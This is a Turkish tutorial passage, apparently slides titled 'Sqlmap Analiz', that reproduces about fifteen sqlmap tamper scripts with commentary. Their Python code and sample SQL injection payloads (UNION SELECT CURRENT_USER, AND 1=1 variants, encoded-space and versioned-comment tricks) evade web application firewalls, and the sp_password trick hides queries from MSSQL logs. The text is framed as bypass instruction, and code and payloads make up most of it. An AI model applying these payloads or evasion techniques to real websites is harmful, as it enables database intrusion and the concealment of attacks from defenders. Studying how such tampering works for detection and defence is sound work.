Yani şu durum çıkıyor ortaya AND 1=1 kabul edilmedi tekrar and koyuyoruz ve, "Specially crafted string." <-- özet kısmındanki şu kısmı gerçekleştiriyoruz.Ortaya çıkan sonuç şu oluyor: AND 1=1 and '0having'='0having' <-- Hedefe yolladıgımız komut bu.Hedef birinci eşitligi kabul etmedigi için özel hazırlanmış bir eşitlik veriyoruz.Yani hedefin gördügü aslında sadece bu: '0having'='0having'Bundan sonra noluyor derseniz birinci eşitligi kabul etmediginden daha sonra bu kısma bakıyor.Bunlar eşitmi ?diyor.Bakıyor bunlar eşit sonuç şudur diyor.Ve bypass işlemi başarılı !

Page 26: Sqlmap Analiz

25)sp_passwords.py

#!/usr/bin/env python

"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

Requirement: * MSSQL

Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection

""" retVal = ""

if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")

return retVal

>>> tamper('1 AND 9227=9227-- ')>>>'1 AND 9227=9227-- sp_password'

Farklı bir bypass çeşidiyle karşı karşıyayız.

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

SP_PASSWORD

Example:' AND 1=1--sp_password

Output:-- 'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons.

Bu tip bypasslar için http://websec.ca/kb/sql_injection linkinden hepsini tamamen okumanızı tavsiye ederim.

Page 27: Sqlmap Analiz

26)versionmorekeywords.py

#!/usr/bin/env python

import osimport re

__priority__ = PRIORITY.HIGHER

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group()

retVal = payload

if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

return retVal

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')

>>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'

*Encloses each keyword with versioned MySQL comment*

Mysql comment dedigi /*! KOMUT */ şeklinde düzenlemede başa ve sona gelen ifadelerdir.Böyle bol ve tekrarlı komutların oldugu durumlarda herhangibi bir komut engellenirse komutumuzun içinde birden fazla olacagından hepsine mysql comment 'i ekleyerek bypass ediyor scriptimiz.

Page 28: Sqlmap Analiz

27)space2comments.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): pass

def tamper(payload, **kwargs):

retVal = payload

if payload: retVal = "" quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue

elif payload[i] == '\'': quote = not quote

elif payload[i] == '"': doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue

retVal += payload[i]

return retVal

>>> tamper('SELECT id FROM users')>>>'SELECT/**/id/**/FROM/**/users'

*Replaces space character (' ') with comments '/**/'*

Yani bütün boşlukları dolduruyor çogu amatörü durdurabilecek bir firewalldır.Çünkü istediginiz kadar komut yazın çalışmaz.Ama aslında komutlarınızla ilgili bi durum degildir bu sadece url içindeki boşluklar firewall tarafından engellenmiştir ..

Page 29: Sqlmap Analiz

28)space2dash.py

#!/usr/bin/env python

import randomimport string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') """ retVal = ""

if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "--%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i]

return retVal

>>> tamper('1 AND 9227=9227')>>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Yorumdan ilerleyerek ele alalım.

Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')

Boşlukları dash = tire ile degiştiriyorum,devamında ise random bir string = dize sıkıştıyorum araya, devamında ise yapacagım şey new line = boş satır bırakmak diyor.

Sonuç: >>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Page 30: Sqlmap Analiz

29)space2hash.py

#!/usr/bin/env python

import osimport randomimport string

from lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

retVal = ""

if payload: for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i]

return retVal

>>> tamper('1 AND 9227=9227')>>'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

Bir önceki işlemin benzer bir versiyonu bu. Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')

Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html

Page 31: Sqlmap Analiz

30)space2morehash.py

#!/usr/bin/env python

__priority__ = PRIORITY.LOW

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

def process(match): word = match.group('word') randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))

if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) else: return match.group()

retVal = ""

if payload: payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)

for i in xrange(len(payload)): if payload[i].isspace(): randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) retVal += "%%23%s%%0A" % randomStr elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i]

return retVal

>>> tamper('1 AND 9227=9227')>>>'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'

Bir önceki kodlardan tek farkını tahmin etmissinizdir.Sadece daha fazla random string ifadeyi araya sokuşturuyor.

space2hash = retVal += "%%23%s%%0A" % randomStrspace2morehash= return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))

Page 32: Sqlmap Analiz

31)space2mssqlblank.pydef tamper(payload, **kwargs): blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') retVal = payload

if payload: retVal = "" quote, doublequote, firstspace, end = False, False, False, False

for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue

elif payload[i] == '\'': quote = not quote

elif payload[i] == '"': doublequote = not doublequote

elif payload[i] == '#' or payload[i:i + 3] == '-- ': end = True

elif payload[i] == " " and not doublequote and not quote: if end: retVal += random.choice(blanks[:-1]) else: retVal += random.choice(blanks)

continue

retVal += payload[i]

return retVal

>>> tamper('SELECT id FROM users')>>>'SELECT%0Eid%0DFROM%07users'

Replaces space character (' ') with a random blank character from a valid set of alternate characters

Açıklamada anlattıgı gibi araya ascıı karakterlerden "anlamsız" ifadeler sokarak bypass ediyor.Eger dikkatli ve gerçekten ögrenmek isteyen bir insansanız şunu fark etmissinizdir.Ascıı tablosunu yukarıda gösterdim.Şunu görmüstünüz %0A önceki iki scriptimizde new line yerini tutuyordu.Demek ki ascii karaktermiş bunuda bi köşeye not edelim ..

# ASCII table: # SOH 01 start of heading # STX 02 start of text # ETX 03 end of text # EOT 04 end of transmission # ENQ 05 enquiry # ACK 06 acknowledge # BEL 07 bell # BS 08 backspace # TAB 09 horizontal tab # LF 0A new line # VT 0B vertical TAB # FF 0C new page # CR 0D carriage return # SO 0E shift out # SI 0F shift in

Page 33: Sqlmap Analiz

32)space2mssqlhash.py

#!/usr/bin/env python

"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs): """ Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

Requirement: * MSSQL * MySQL

Notes: * Useful to bypass several web application firewalls

"""

retVal = ""

if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "%23%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i]

return retVal

>>> tamper('1 AND 9227=9227')>>>'1%23%0AAND%23%0A9227=9227

Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')

Gördügünüz gibi bütün bypasslar birbirine benziyor ama hiçbiri aynı degil.Boşlukları # ile degiştiriyor.Ama diyeceksiniz ki içinde # yok.Çünkü urldecode işlemi yapılmış buda %23 'e karşılık geliyor.%0A 'yı zaten önceki script anlatımımda ögrendiginizi umut ediyorum ..

Page 34: Sqlmap Analiz

33)space2mysqlblank.pydef tamper(payload, **kwargs):

blanks = ('%09', '%0A', '%0C', '%0D', '%0B') retVal = payload

if payload: retVal = "" quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue

elif payload[i] == '\'': quote = not quote

elif payload[i] == '"': doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue

retVal += payload[i]

return retVal

# ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return # VT 0B vertical TAB (MySQL and Microsoft SQL Server only)

Bunu daha önce görmüstük.Ama mssql için ayarlanmış tabloda bypasslar gerçekleşiyordu.Bu bypass scriptisadece MySQL 'de bypass yapıyor.

>>> tamper('SELECT id FROM users')>>>'SELECT%0Bid%0DFROM%0Cusers'

Requirement: * MySQL

Tested against: * MySQL 5.1

Page 35: Sqlmap Analiz

34)space2mysqldash.py

#!/usr/bin/env python

"""Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission"""

import os

from lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

retVal = ""

if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i]

return retVal

Gene sadece mysql serverlar için yazılmış özel bir script.Bu sefer bypass çeşidi farklı yapılandırılmış.

>>> tamper('1 AND 9227=9227')>>'1--%0AAND--%0A9227=9227'

Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')

Bu cümle ve benzerini bolca duydunuz birşey üzerinden bolca bypass çeşidi çıkartırlmış.Buda sqlningeniş yapısını anlatmaya yetiyor. SQL komutlarında "--" (çift tire) yorum satırı olarak geçer.

Page 36: Sqlmap Analiz

35)space2plus.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): pass

def tamper(payload, **kwargs): retVal = payload

if payload: retVal = "" quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue

elif payload[i] == '\'': quote = not quote

elif payload[i] == '"': doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue

retVal += payload[i]

return retVal

>>> tamper('SELECT id FROM users')>>> 'SELECT+id+FROM+users'

Replaces space character (' ') with plus ('+')

Boşlukları + ile koyarak en temel bypass çeşitlerinden birini gerçekleştiriyor.

Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases

Tabi bu genede bypassmı be ! Diyenler için notta düşülmüş.

Page 37: Sqlmap Analiz

36)unionalltounion.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies(): pass

def tamper(payload, **kwargs): return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

>>> tamper('-1 UNION ALL SELECT')>>>'-1 UNION SELECT'

Bu scriptin işlevini bir bakışta herkez anlayabilir ama inanın bazen sadece "ALL" yüzünden bile hata alabilirisiniz.Kaldıki programlar zeki degildir eger ki içinde olmayan birşeyse anlayamaz veya devam ettiremez.Şimdi sizin gözünüzde çok basit bir script olabilir ama buraya kadar anlattıgım tüm scriptlerin birbirine baglı oldugunu düşünün ? Ayrıca bu sqlmap'ın sadece bir dosyası bunuda unutmayalım.

37)unmagicquotes.py

def tamper(payload, **kwargs): retVal = payload

if payload: found = False retVal = ""

for i in xrange(len(payload)): if payload[i] == '\'' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue

if found: _ = re.sub("(?i)\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal) if _ != retVal: retVal = _ retVal += "-- "

return retVal

>>> tamper("1' AND 1=1")>>>'1%bf%27 AND 1=1-- '

"""Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)

"""

"""Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string"""

#Referans linklerini incelemeniz #gerekiyor.

Page 38: Sqlmap Analiz

38)versionedkeywords.py

#!/usr/bin/env python

import osimport re

from lib.core.common import singleTimeWarnMessagefrom lib.core.data import kbfrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHER

def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group()

retVal = payload

if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")

return retVal

Sadece MySQL serverlar için özel bypass scriptidir.

>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')

>>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'

Aslında scriptler birbirine benzesede dikkatli incelerseniz hiçbirinin aynı olmadıgına emin olabilirsiniz.

Page 39: Sqlmap Analiz

39)space2randomblank.py

#!/usr/bin/env python

import random

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies(): pass

def tamper(payload, **kwargs):

# ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload

if payload: retVal = "" quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue

elif payload[i] == '\'': quote = not quote

elif payload[i] == '"': doublequote = not doublequote

elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue

retVal += payload[i]

return retVal

""" Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0"""

>>> tamper('SELECT id FROM users')>>>'SELECT%0Did%0DFROM%0Ausers'

#Her bypass çeşidi test edilmiştir.#Gördügünüz gibi bu scriptlerin hepsi sqlmap'a #tamamen baglıdır. #39 farklı bypass yöntemini gördük artık sqlmapın #nasıl bypass yaptıgını tamamen biliyorsunuz.

Page 40: Sqlmap Analiz

THE END